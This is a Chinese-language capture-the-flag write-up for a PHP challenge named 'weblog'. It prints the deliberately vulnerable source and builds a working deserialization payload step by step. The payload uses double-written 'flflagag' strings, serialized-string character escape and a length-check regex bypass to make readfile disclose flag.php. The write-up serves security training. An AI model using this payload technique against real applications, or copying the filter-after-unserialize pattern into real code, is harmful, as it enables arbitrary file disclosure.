newsctf-weblog
代码:
<?php highlight_file(__FILE__); error_reporting(0); class B{ public $logFile; public $initMsg; public $exitMsg; function __construct($file){ // initialise variables $this->initMsg="#--session started--#\n"; $this->exitMsg="#--sessionnd--#\n"; $this->logFile = $file; readfile($this->logFile); } function log($msg){ $fd=fopen($this->logFile,"a+"); fwrite($fd,$msg."\n"); fclose($fd); } function __destruct(){ echo "this is destruct"; } } class A { public $file = 'flag{xxxxxxxx}'; public $weblogfile; function __construct() { echo $this->file; } function __wakeup(){ // self::waf($this->filepath); $obj = new B($this->weblogfile); } public function waf($str){ $str=preg_replace("/[<>*#'|?\n ]/","",$str); $str=str_replace('flag','',$str); return $str; } function __destruct(){ echo "this is destruct"; } } class C { public $file; public $weblogfile; } class D{ public $logFile; public $initMsg; public $exitMsg; } function is_serialized($data){ $r = preg_match_all('/:\d*?:"/',$data,$m,PREG_OFFSET_CAPTURE); if(!empty($r)) { foreach($m[0] as $v){ $a = intval($v[1])+strlen($v[0])+intval(substr($v[0],1)); if($data[$a] !== '"') return false; } } if(!is_string($data)) return false; $data = trim($data); if('N;' === $data) return true; if(!preg_match('/^([adObis]):/',$data,$badions)) return false; switch($badions[1]){ case 'a': case 'O': case 's': if(preg_match( "/^{$badions[1]}:[0-9]+:.*[;}]\$/s", $data ) ) return true; break; case 'b': case 'i': case 'd': if(preg_match("/^{$badions[1]}:[0-9.E-]+;\$/", $data)) return true; break; } return false; } $log = $_GET['log']; if(!is_serialized($log)){ die('no1'); } $log1 = preg_replace("/A/","C",$log); $log2 = preg_replace("/B/","D",$log1); if(!unserialize($log2)){ die('no2'); } $log = preg_replace("/[<>*#'|?\n ]/","",$log); $log = str_replace('flag','',$log); $log_unser = unserialize($log); ?>
通过对传入参数$log的反序列化自动调用classA中的__wakeup(),并且传入$this->filepath参数,通过classB中的__construct($file)函数中的readfile($this->weblogfile)函数直接查看传入的$this->weblogfile的文件。
1、使用双写,绕过str_replace
flflagag.php,但是这里有前提条件
if(!unserialize($log2));
2、反序列化字符逃逸
O:1:"A":2:{s:4:"file";s:25:"flagflagflagflagflagflag*";s:10:"weblogfile";s:39:";s:10:"weblogfile";s:8:"flflagag.php";}";}
这里会将flagflagflagflagflagflag*替换为空,flflagag.php替换成flag.php就变成了
O:1:"A":2:{s:4:"file";s:25:"";s:10:"weblogfile";s:39:";s:10:"weblogfile";s:8:"flag.php";}";}
这里file的值就变成了
";s:10:"weblogfile";s:39:,weblogfile的值就变成了flag.php
3、正则匹配preg_match_all('/:\d*?:"/',$data,$m,PREG_OFFSET_CAPTURE)绕过
is_serialized()函数中匹配了 :数字:" 中数字的大小是否和后面字符的长度一样,而在 :8:"flflagag.php" 这里则会返回false,所以我们要在8前面加上一个被替换的字符然后绕过正则
payload:
O:1:"A":2:{s:4:"file";s:25:"flagflagflagflagflagflag*";s:10:"weblogfile";s:40:";s:10:"weblogfile";s:*8:"flflagag.php";}";}
<?php class A { public $file='flagflagflagflagflagflag*'; public $weblogfile=';s:10:"weblogfile";s:*8:"flflagag.php";}'; } $a = new A(); echo serialize($a); ?>